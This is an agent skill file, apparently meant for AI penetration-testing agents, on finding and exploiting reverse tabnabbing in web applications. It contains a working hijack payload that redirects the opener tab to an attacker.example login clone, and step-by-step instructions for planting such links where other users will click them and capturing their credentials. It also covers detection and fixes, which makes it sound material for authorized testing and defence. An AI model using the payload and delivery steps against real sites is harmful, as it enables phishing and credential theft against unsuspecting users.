exploiting-reverse-tab-nabbing

$npx mdskill add xalgord/xalgorix/exploiting-reverse-tab-nabbing

- During authorized assessments where users can control the `href` of links rendered to other users - When the app renders outbound/user-supplied links with `target="_blank"` (profile URLs, comments, posts, support tickets) - When testing "open in new tab" behaviors, share links, or SSO/OAuth pop-ups - When reviewing markdown/rich-text renderers that auto-link URLs without `rel="noopener"` - When evaluating phishing resistance of flows that send users to external sites

SKILL.md

.github/skills/exploiting-reverse-tab-nabbingView on GitHub ↗
---
name: exploiting-reverse-tab-nabbing
description: Identifying and exploiting reverse tabnabbing, where a link opened with target="_blank" without
  rel="noopener" gives the newly opened (attacker-controlled) page a reference to the originating window via
  window.opener, allowing it to redirect the original tab to a phishing clone. Activates when assessing user-controllable
  links, outbound links, or any anchor/window.open that opens new tabs.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- reverse-tabnabbing
- phishing
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting Reverse Tab Nabbing

## When to Use

- During authorized assessments where users can control the `href` of links rendered to other users
- When the app renders outbound/user-supplied links with `target="_blank"` (profile URLs, comments, posts, support tickets)
- When testing "open in new tab" behaviors, share links, or SSO/OAuth pop-ups
- When reviewing markdown/rich-text renderers that auto-link URLs without `rel="noopener"`
- When evaluating phishing resistance of flows that send users to external sites

## Prerequisites

- **Authorization**: Engagement scope covering client-side/phishing-style findings
- **Attacker-controlled page**: A page that uses `window.opener` to redirect the original tab
- **A victim flow**: A place where you can inject or supply a link that another user will click
- **Two test accounts / a victim browser**: To click the link and observe the original tab change
- **A convincing clone**: A look-alike of the original login page to demonstrate credential capture

## Critical: Variants Most Often Missed

Testers check for `rel="noopener"` and stop. The nuance is the exact attribute
combinations that remain vulnerable and the cross-origin opener surface.

```text
# VULNERABLE link conditions:
target="_blank" rel="opener"           # explicitly grants opener
target="_blank"  (no rel at all)       # if no rel="noopener"/"noreferrer" -> vulnerable
window.open(url)                        # returns a window the new page can reach back via opener
# Note: modern browsers default anchors with target=_blank to noopener, BUT:
#  - rel="opener" re-enables it
#  - window.open() is NOT covered by the anchor default
#  - older browsers / embedded webviews may still leak opener

# SAFE conditions (should be present):
rel="noopener"   rel="noreferrer"   rel="noopener noreferrer"
```

Attacker page that hijacks the original tab (`malicious.html`):

```html
<!DOCTYPE html><html><body>
<script>
  // The opener is the ORIGINAL site's window. Redirect it to a phishing clone.
  window.opener.location = "https://attacker.example/victim-login-clone.html";
</script>
</body></html>
```

Vulnerable target markup that makes it work (`vulnerable.html`):

```html
<a href="https://attacker.example/malicious.html" target="_blank" rel="opener">Open</a>
<!-- also vulnerable: target="_blank" with NO rel attribute -->
```

Cross-origin `window.opener` surface still reachable (limited but useful):

```text
opener.closed   opener.frames   opener.length
opener.opener   opener.parent   opener.self   opener.top
# If SAME-origin, the attacker page gets the FULL window object of the original page.
```

### How to CONFIRM a hit (avoid false negatives)

- **Opener reference exists**: on the attacker page, `window.opener` is non-null after the victim clicks the link.
- **Original tab navigates**: setting `window.opener.location` actually changes the URL of the original tab to your attacker/clone page — the definitive confirmation. Demonstrate locally with `python3 -m http.server` and watch the original tab's URL change.
- **Cross-origin vs same-origin**: cross-origin you can still call `window.opener.location = ...` (navigation is allowed) even though property reads are limited; same-origin you gain full window access. Note which applies.
- For a complete finding, show the redirect lands on a credential-harvesting clone (background tab swap) — the victim returns to a tab that now shows a fake login.
- Confirm the link is rendered to OTHER users (stored/reflected), not just yourself, to establish real impact.

## Workflow

### Step 1: Find New-Tab Links
```bash
# In rendered HTML, look for target=_blank without a safe rel
grep -oE "<a[^>]*target=[\"']_blank[\"'][^>]*>" page.html | grep -v "noopener\|noreferrer"
```
Identify which of these links carry user-controllable `href` values (profiles, posts, comments, ticket bodies, markdown).

### Step 2: Confirm the Vulnerable Attribute Combo
Check each candidate link for `rel="opener"` or a missing `rel`. For programmatic opens, look for `window.open(userUrl)` in client JS.

### Step 3: Host the Hijack Page
```html
<!-- attacker.example/malicious.html -->
<script>window.opener.location = "https://attacker.example/clone.html";</script>
```
Build `clone.html` to mirror the target's login page.

### Step 4: Deliver the Link to a Victim
Inject the link where another user will click it (profile website field, comment, support message). The victim clicks, a new tab opens your page, and your script redirects their original tab.

### Step 5: Demonstrate Impact
```text
1. Victim clicks attacker link -> new tab loads malicious.html
2. malicious.html sets window.opener.location -> original tab silently navigates to clone.html
3. Victim finishes with the new tab, returns to the original tab, sees a familiar-looking login
4. Victim re-enters credentials -> captured by the clone
```
Note stealthier abuse: with opener access the attacker can also manipulate events/exfiltrate if same-origin.

### Step 6: Verify Reproducibility Locally
```bash
# Place vulnerable.html, malicious.html, malicious_redir.html in a folder
python3 -m http.server
# Visit http://127.0.0.1:8000/vulnerable.html, click the link, watch the original tab URL change
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **window.opener** | Reference the newly opened page holds to the window that opened it |
| **target="_blank"** | Opens the link in a new tab/window; historically shared the opener |
| **rel="opener"** | Explicitly grants the opener reference, re-enabling the vuln even with modern defaults |
| **rel="noopener"** | Severs `window.opener` (set to null) — the primary fix |
| **window.open()** | JS API that returns a window the opened page can reach back to; not covered by anchor defaults |
| **Cross-origin opener** | Limited but still allows `opener.location` navigation of the original tab |
| **Same-origin opener** | Full window object access from the opened page |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **python3 -m http.server** | Local reproduction of the vulnerable + malicious page chain |
| **Browser devtools** | Inspect `window.opener` and observe original-tab navigation |
| **grep / ripgrep** | Find `target="_blank"` links lacking `noopener` in rendered HTML |
| **Attacker-hosted clone page** | Demonstrate the phishing/credential-capture impact |
| **Markdown/rich-text renderer review** | Identify auto-linking that omits `rel="noopener"` |

## Common Scenarios

### Scenario 1: Profile Website Link
A user profile lets members set a personal website rendered as `<a target="_blank" rel="opener">`. An attacker sets it to their hijack page; anyone viewing the profile who clicks it has their original tab redirected to a login clone.

### Scenario 2: Markdown Comment Auto-Link
A comment system auto-links URLs without `rel="noopener"`. The attacker posts a link; readers who open it get their original tab swapped to a phishing page mimicking the site.

### Scenario 3: OAuth/SSO Pop-up
A login flow uses `window.open()` to an external IdP without opener protection. The opened (attacker-influenced) page redirects the parent to a fake consent screen to harvest credentials.

## Output Format

```
## Reverse Tabnabbing Finding

**Vulnerability**: Reverse Tabnabbing via target="_blank" without rel="noopener"
**Severity**: Medium (CVSS 5.4)
**Location**: User profile website link (stored, rendered to other users)
**OWASP Category**: A01:2021 - Broken Access Control / Client-Side

### Reproduction Steps
1. Set profile website to https://attacker.example/malicious.html
2. The app renders <a href="..." target="_blank" rel="opener">
3. Victim views the profile and clicks the link -> new tab opens
4. malicious.html runs window.opener.location = clone.html
5. Victim's ORIGINAL tab silently navigates to a phishing clone of the login page

### Evidence
| Check | Result |
|-------|--------|
| Rendered attribute | target="_blank" rel="opener" |
| window.opener | non-null on attacker page |
| Original tab | navigated to attacker clone |

### Impact
Phishing with high credibility: the victim returns to what looks like the real
site's login and re-enters credentials, which the attacker captures.

### Recommendation
1. Add rel="noopener noreferrer" to all target="_blank" links, especially user-supplied/outbound
2. Never use rel="opener" on links to untrusted destinations
3. For window.open(), set the returned window's opener to null or pass noopener
4. Sanitize rich-text/markdown so auto-linked anchors always include rel="noopener"
```

More from xalgord/xalgorix